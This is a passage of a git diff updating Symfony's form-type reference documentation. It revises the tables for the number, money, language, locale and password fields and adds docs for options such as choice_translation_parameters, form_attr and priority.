+* ``\NumberFormatter::ROUND_HALFEVEN`` Round towards the
+  "nearest neighbor". If both neighbors are equidistant, round towards the even
+  neighbor. It rounds ``2.5``, ``1.6`` and ``1.5`` to ``2`` and ``1.4`` to ``1``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_HALF_UP`` Round towards the
-  "nearest neighbor". If both neighbors are equidistant, round up.
+* ``\NumberFormatter::ROUND_HALFUP`` Round towards the
+  "nearest neighbor". If both neighbors are equidistant, round up. It rounds
+  ``2.5`` to ``3``, ``1.6`` and ``1.5`` to ``2`` and ``1.4`` to ``1``.
+
+.. deprecated:: 5.1
+
+    In Symfony versions prior to 5.1, these constants were also defined as aliases
+    in the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\NumberToLocalizedStringTransformer`
+    class, but they are now deprecated in favor of the :phpclass:`NumberFormatter` constants.
 
 Overridden Options
 ------------------
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -97,13 +89,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
@@ -115,8 +105,6 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/help_html.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/label.rst.inc
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 5fa38697701..d95bc28780a 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -20,46 +20,17 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the
 field type automatically uses a large list of languages. You *can* specify the option
 manually, but then you should just use the ``ChoiceType`` directly.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `alpha3`_                                                            |
-|             | - `choice_self_translation`_                                           |
-|             | - `choice_translation_locale`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>`                 |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LanguageType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | can be various tags (see :ref:`forms-reference-choice-tags`)           |
++---------------------------+------------------------------------------------------------------------+
+| Default invalid message   | Please select a valid language.                                        |
++---------------------------+------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LanguageType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -71,7 +42,7 @@ alpha3
 
 **type**: ``boolean`` **default**: ``false``
 
-If this option is ``true``, the choice values use the `ISO 639-2 alpha-3`_
+If this option is ``true``, the choice values use the `ISO 639-2 alpha-3 (2T)`_
 three-letter codes (e.g. French = ``fra``) instead of the default
 `ISO 639-1 alpha-2`_ two-letter codes (e.g. French = ``fr``).
 
@@ -114,6 +85,8 @@ The default locale is used to translate the languages names.
 
 .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -141,8 +114,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -150,8 +122,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/help.rst.inc
 
@@ -172,5 +143,5 @@ The actual default value of this option depends on other field options:
 .. include:: /reference/forms/types/options/row_attr.rst.inc
 
 .. _`ISO 639-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_639-1
-.. _`ISO 639-2 alpha-3`: https://en.wikipedia.org/wiki/ISO_639-2
+.. _`ISO 639-2 alpha-3 (2T)`: https://en.wikipedia.org/wiki/ISO_639-2
 .. _`International Components for Unicode`: http://site.icu-project.org
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 385cc4f6fd8..4ee77116489 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -21,44 +21,17 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the
 field type automatically uses a large list of locales. You *can* specify these options
 manually, but then you should just use the ``ChoiceType`` directly.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `choice_translation_locale`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>`                 |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LocaleType`   |
-+-------------+------------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | can be various tags (see :ref:`forms-reference-choice-tags`)         |
++---------------------------+----------------------------------------------------------------------+
+| Default invalid message   | Please select a valid locale.                                        |
++---------------------------+----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                    |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LocaleType` |
++---------------------------+----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -85,6 +58,8 @@ specify the language.
 
 .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -112,8 +87,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -121,8 +95,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/help.rst.inc
 
diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index 4036f2f7dce..4d1ed612c67 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -19,6 +19,7 @@ Choice Fields
 ~~~~~~~~~~~~~
 
 * :doc:`ChoiceType </reference/forms/types/choice>`
+* :doc:`EnumType </reference/forms/types/enum>`
 * :doc:`EntityType </reference/forms/types/entity>`
 * :doc:`CountryType </reference/forms/types/country>`
 * :doc:`LanguageType </reference/forms/types/language>`
@@ -43,6 +44,12 @@ Other Fields
 * :doc:`FileType </reference/forms/types/file>`
 * :doc:`RadioType </reference/forms/types/radio>`
 
+UID Fields
+~~~~~~~~~~
+
+* :doc:`UuidType </reference/forms/types/uuid>`
+* :doc:`UlidType </reference/forms/types/ulid>`
+
 Field Groups
 ~~~~~~~~~~~~
 
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index bb91d0b08da..a7fa743846b 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -11,41 +11,17 @@ This field type allows you to specify a currency, whose symbol is rendered
 next to the text field. There are also several other options for customizing
 how the input and output of the data is handled.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``text`` field                                            |
-+-------------+---------------------------------------------------------------------+
-| Options     | - `currency`_                                                       |
-|             | - `divisor`_                                                        |
-|             | - `grouping`_                                                       |
-|             | - `html5`_                                                          |
-|             | - `rounding_mode`_                                                  |
-|             | - `scale`_                                                          |
-+-------------+---------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                       |
-| options     |                                                                     |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `invalid_message`_                                                |
-|             | - `invalid_message_parameters`_                                     |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\MoneyType` |
-+-------------+---------------------------------------------------------------------+
++---------------------------+---------------------------------------------------------------------+
+| Rendered as               | ``input`` ``text`` field                                            |
++---------------------------+---------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid money amount.                                  |
++---------------------------+---------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                       |
++---------------------------+---------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\MoneyType` |
++---------------------------+---------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -122,6 +98,8 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -133,13 +111,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
@@ -151,8 +127,6 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/help_html.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/label.rst.inc
diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index 599d0efa4cd..eda9189f7e3 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -8,40 +8,17 @@ Renders an input text field and specializes in handling number input. This
 type offers different options for the scale, rounding and grouping
 that you want to use for your number.
 
-+-------------+----------------------------------------------------------------------+
-| Rendered as | ``input`` ``text`` field                                             |
-+-------------+----------------------------------------------------------------------+
-| Options     | - `grouping`_                                                        |
-|             | - `html5`_                                                           |
-|             | - `input`_                                                           |
-|             | - `scale`_                                                           |
-|             | - `rounding_mode`_                                                   |
-+-------------+----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                        |
-| options     |                                                                      |
-+-------------+----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                            |
-| options     | - `data`_                                                            |
-|             | - `disabled`_                                                        |
-|             | - `empty_data`_                                                      |
-|             | - `error_bubbling`_                                                  |
-|             | - `error_mapping`_                                                   |
-|             | - `help`_                                                            |
-|             | - `help_attr`_                                                       |
-|             | - `help_html`_                                                       |
-|             | - `invalid_message`_                                                 |
-|             | - `invalid_message_parameters`_                                      |
-|             | - `label`_                                                           |
-|             | - `label_attr`_                                                      |
-|             | - `label_format`_                                                    |
-|             | - `mapped`_                                                          |
-|             | - `required`_                                                        |
-|             | - `row_attr`_                                                        |
-+-------------+----------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                        |
-+-------------+----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\NumberType` |
-+-------------+----------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``text`` field                                             |
++---------------------------+----------------------------------------------------------------------+
+| Default invalid message   | Please enter a number.                                               |
++---------------------------+----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\NumberType` |
++---------------------------+----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -86,6 +63,8 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -97,13 +76,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
@@ -115,8 +92,6 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/help_html.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/label.rst.inc
diff --git a/reference/forms/types/options/attr.rst.inc b/reference/forms/types/options/attr.rst.inc
index 629902b4fc8..c4bb89d277e 100644
--- a/reference/forms/types/options/attr.rst.inc
+++ b/reference/forms/types/options/attr.rst.inc
@@ -13,5 +13,5 @@ as keys. This can be useful when you need to set a custom class for some widget:
 
 .. seealso::
 
-    Use the ``row_attr`` option if you want to add these attributes to the
+    Use the ``row_attr`` option if you want to add these attributes to
     the :ref:`form type row <form-rendering-basics>` element.
diff --git a/reference/forms/types/options/choice_attr.rst.inc b/reference/forms/types/options/choice_attr.rst.inc
index 1c9f5138d66..5a0add4f195 100644
--- a/reference/forms/types/options/choice_attr.rst.inc
+++ b/reference/forms/types/options/choice_attr.rst.inc
@@ -13,6 +13,20 @@ If an array, the keys of the ``choices`` array must be used as keys::
     use Symfony\Component\Form\Extension\Core\Type\ChoiceType;
     // ...
 
+    $builder->add('fruits', ChoiceType::class, [
+        'choices' => [
+            'Apple' => 1,
+            'Banana' => 2,
+            'Durian' => 3,
+        ],
+        'choice_attr' => [
+            'Apple' => ['data-color' => 'Red'],
+            'Banana' => ['data-color' => 'Yellow'],
+            'Durian' => ['data-color' => 'Green'],
+        ],
+    ]);
+
+    // or use a callable
     $builder->add('attending', ChoiceType::class, [
         'choices' => [
             'Yes' => true,
@@ -35,7 +49,7 @@ If an array, the keys of the ``choices`` array must be used as keys::
 
         // ...
         $builder->add('choices', ChoiceType::class, [
-            'choice_label' => ChoiceList::attr($this, function (?Category $category) {
+            'choice_attr' => ChoiceList::attr($this, function (?Category $category) {
                 return $category ? ['data-uuid' => $category->getUuid()] : [];
             }),
         ]);
diff --git a/reference/forms/types/options/choice_translation_parameters.rst.inc b/reference/forms/types/options/choice_translation_parameters.rst.inc
new file mode 100644
index 00000000000..a384d38d487
--- /dev/null
+++ b/reference/forms/types/options/choice_translation_parameters.rst.inc
@@ -0,0 +1,80 @@
+choice_translation_parameters
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``array``, ``callable``, ``string`` or :class:`Symfony\\Component\\PropertyAccess\\PropertyPath` **default**: ``[]``
+
+The choice values are translated before displaying it, so it can contain
+:ref:`translation placeholders <component-translation-placeholders>`.
+This option defines the values used to replace those placeholders. This can be
+an associative array where the keys match the choice keys and the values
+are the attributes for each choice, a callable or a property path
+(just like `choice_label`_).
+
+Given this translation message:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # translations/messages.en.yaml
+        form.order.yes: 'I confirm my order to the company %company%'
+        form.order.no: 'I cancel my order'
+
+    .. code-block:: xml
+
+        <!-- translations/messages.en.xlf -->
+        <?xml version="1.0"?>
+        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
+            <file source-language="en" datatype="plaintext" original="file.ext">
+                <body>
+                <trans-unit id="form.order.yes">
+                    <source>form.order.yes</source>
+                    <target>I confirm my order to the company %company%</target>
+                </trans-unit>
+                <trans-unit id="form.order.no">
+                    <source>form.order.no</source>
+                    <target>I cancel my order</target>
+                </trans-unit>
+                </body>
+            </file>
+        </xliff>
+
+    .. code-block:: php
+
+        // translations/messages.fr.php
+        return [
+            'form.order.yes' => "I confirm my order to the company %company%",
+            'form.order.no' => "I cancel my order",
+        ];
+
+You can specify the placeholder values as follows::
+
+    $builder->add('id', null, [
+        'choices' => [
+            'form.order.yes' => true,
+            'form.order.no' => false,
+        ],
+        'choice_translation_parameters' => function ($choice, $key, $value) {
+            if (false === $choice) {
+                return [];
+            }
+
+            return ['%company%' => 'ACME Inc.']
+        },
+    ]);
+
+If an array, the keys of the ``choices`` array must be used as keys::
+
+    $builder->add('id', null, [
+        'choices' => [
+            'form.order.yes' => true,
+            'form.order.no' => false,
+        ],
+        'choice_translation_parameters' => [
+            'form.order.yes' => ['%company%' => 'ACME Inc.'],
+            'form.order.no' => [],
+        ],
+    ]);
+
+The translation parameters of child fields are merged with the same option of
+their parents, so children can reuse and/or override any of the parent placeholders.
diff --git a/reference/forms/types/options/empty_data_declaration.rst.inc b/reference/forms/types/options/empty_data_declaration.rst.inc
new file mode 100644
index 00000000000..4db2aa6723e
--- /dev/null
+++ b/reference/forms/types/options/empty_data_declaration.rst.inc
@@ -0,0 +1,4 @@
+``empty_data``
+~~~~~~~~~~~~~~
+
+**type**: ``mixed``
diff --git a/reference/forms/types/options/empty_data.rst.inc b/reference/forms/types/options/empty_data_description.rst.inc
similarity index 84%
rename from reference/forms/types/options/empty_data.rst.inc
rename to reference/forms/types/options/empty_data_description.rst.inc
index 5e0a23a70b9..90e111fb202 100644
--- a/reference/forms/types/options/empty_data.rst.inc
+++ b/reference/forms/types/options/empty_data_description.rst.inc
@@ -1,14 +1,3 @@
-``empty_data``
-~~~~~~~~~~~~~~
-
-**type**: ``mixed``
-
-.. This file should only be included with start-after or end-before that's
-   set to this placeholder value. Its purpose is to let us include only
-   part of this file.
-
-DEFAULT_PLACEHOLDER
-
 This option determines what value the field will *return* when the submitted
 value is empty (or missing). It does not set an initial value if none is
 provided when the form is rendered in a view.
diff --git a/reference/forms/types/options/form_attr.rst.inc b/reference/forms/types/options/form_attr.rst.inc
new file mode 100644
index 00000000000..bb6cb1ca4fd
--- /dev/null
+++ b/reference/forms/types/options/form_attr.rst.inc
@@ -0,0 +1,20 @@
+``form_attr``
+~~~~~~~~~~~~~
+
+**type**: ``boolean`` or ``string`` **default**: ``false``
+
+When ``true`` and used on a form element, it adds a `"form" attribute`_ to its HTML field representation with
+its HTML form id. By doing this, a form element can be rendered outside the HTML form while still working as expected::
+
+    $builder->add('body', TextareaType::class, [
+        'form_attr' => true,
+    ]);
+
+This can be useful when you need to solve nested form problems.
+You can also set this to ``true`` on a root form to automatically set the "form" attribute on all its children.
+
+.. note::
+
+    When the root form has no ID, ``form_attr`` is required to be a string identifier to be used as the form ID.
+
+.. _`"form" attribute`: https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#attr-fae-form
diff --git a/reference/forms/types/options/help.rst.inc b/reference/forms/types/options/help.rst.inc
index ded87842d8e..86f84111c88 100644
--- a/reference/forms/types/options/help.rst.inc
+++ b/reference/forms/types/options/help.rst.inc
@@ -1,11 +1,25 @@
 help
 ~~~~
 
-**type**: ``string`` **default**: null
+**type**: ``string`` or ``TranslatableMessage`` **default**: null
 
 Allows you to define a help message for the form field, which by default is
 rendered below the field::
 
-    $builder->add('zipCode', null, [
-        'help' => 'The ZIP/Postal code for your credit card\'s billing address.',
-    ]);
+    use Symfony\Component\Translation\TranslatableMessage;
+
+    $builder
+        ->add('zipCode', null, [
+            'help' => 'The ZIP/Postal code for your credit card\'s billing address.',
+        ])
+
+        // ...
+
+        ->add('status', null, [
+            'help' => new TranslatableMessage('order.status', ['%order_id%' => $order->getId()], 'store'),
+        ])
+    ;
+
+.. versionadded:: 5.4
+
+    Support for passing ``TranslatableMessage`` objects was introduced in Symfony 5.4.
diff --git a/reference/forms/types/options/help_html.rst.inc b/reference/forms/types/options/help_html.rst.inc
index 83bbe583ca6..2a5dccfb32e 100644
--- a/reference/forms/types/options/help_html.rst.inc
+++ b/reference/forms/types/options/help_html.rst.inc
@@ -1,7 +1,7 @@
 help_html
 ~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 By default, the contents of the ``help`` option are escaped before rendering
 them in the template. Set this option to ``true`` to not escape them, which is
diff --git a/reference/forms/types/options/label.rst.inc b/reference/forms/types/options/label.rst.inc
index 9797b6264cf..3d9b6bd1674 100644
--- a/reference/forms/types/options/label.rst.inc
+++ b/reference/forms/types/options/label.rst.inc
@@ -3,8 +3,8 @@
 
 **type**: ``string`` **default**: The label is "guessed" from the field name
 
-Sets the label that will be used when rendering the field. Setting to false
-will suppress the label. The label can also be directly set inside the template:
+Sets the label that will be used when rendering the field. Setting to ``false``
+will suppress the label. The label can also be set in the template:
 
 .. configuration-block::
 
diff --git a/reference/forms/types/options/label_html.rst.inc b/reference/forms/types/options/label_html.rst.inc
index 06568ed08f4..a87ad4ab6db 100644
--- a/reference/forms/types/options/label_html.rst.inc
+++ b/reference/forms/types/options/label_html.rst.inc
@@ -1,7 +1,7 @@
 ``label_html``
 ~~~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 .. versionadded:: 5.1
 
diff --git a/reference/forms/types/options/preferred_choices.rst.inc b/reference/forms/types/options/preferred_choices.rst.inc
index bffb021f864..8cb1278136d 100644
--- a/reference/forms/types/options/preferred_choices.rst.inc
+++ b/reference/forms/types/options/preferred_choices.rst.inc
@@ -58,7 +58,7 @@ when rendering the field:
 
         {{ form_widget(form.publishAt, { 'separator': '=====' }) }}
 
-    .. code-block:: php
+    .. code-block:: html+php
 
         <?= $view['form']->widget($form['publishAt'], [
             'separator' => '=====',
diff --git a/reference/forms/types/options/priority.rst.inc b/reference/forms/types/options/priority.rst.inc
new file mode 100644
index 00000000000..8f53a05c9ab
--- /dev/null
+++ b/reference/forms/types/options/priority.rst.inc
@@ -0,0 +1,16 @@
+priority
+~~~~~~~~
+
+**type**: ``integer`` **default**: ``0``
+
+.. versionadded:: 5.3
+
+    The ``priority`` option was introduced in Symfony 5.3.
+
+Fields are rendered in the same order as they are included in the form. This
+option changes the field rendering priority, allowing you to display fields
+earlier or later than their original order.
+
+This option will affect the view order only. The higher this priority, the
+earlier the field will be rendered. Priority can also be negative and fields
+with the same priority will keep their original order.
diff --git a/reference/forms/types/options/row_attr.rst.inc b/reference/forms/types/options/row_attr.rst.inc
index e8cbaa6b564..f280fc3dfcc 100644
--- a/reference/forms/types/options/row_attr.rst.inc
+++ b/reference/forms/types/options/row_attr.rst.inc
@@ -12,5 +12,5 @@ to render the :ref:`form type row <form-rendering-basics>`::
 
 .. seealso::
 
-    Use the ``attr`` option if you want to add these attributes to the
+    Use the ``attr`` option if you want to add these attributes to
     the :ref:`form type widget <form-rendering-basics>` element.
diff --git a/reference/forms/types/options/scale.rst.inc b/reference/forms/types/options/scale.rst.inc
deleted file mode 100644
index 0d2ec3d6dbc..00000000000
--- a/reference/forms/types/options/scale.rst.inc
+++ /dev/null
@@ -1,9 +0,0 @@
-``scale``
-~~~~~~~~~
-
-**type**: ``integer`` **default**: Locale-specific (usually around ``3``)
-
-This specifies how many decimals will be allowed until the field rounds
-the submitted value (via ``rounding_mode``). For example, if ``scale`` is set
-to ``2``, a submitted value of ``20.123`` will be rounded to, for example,
-``20.12`` (depending on your `rounding_mode`_).
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 37acff1a616..d512be22594 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -6,33 +6,17 @@ PasswordType Field
 
 The ``PasswordType`` field renders an input password text box.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | ``input`` ``password`` field                                           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `always_empty`_                                                      |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `trim`_                                                              |
-| options     |                                                                        |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                          |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PasswordType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | ``input`` ``password`` field                                           |
++---------------------------+------------------------------------------------------------------------+
+| Default invalid message   | The password is invalid.                                               |
++---------------------------+------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                          |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PasswordType` |
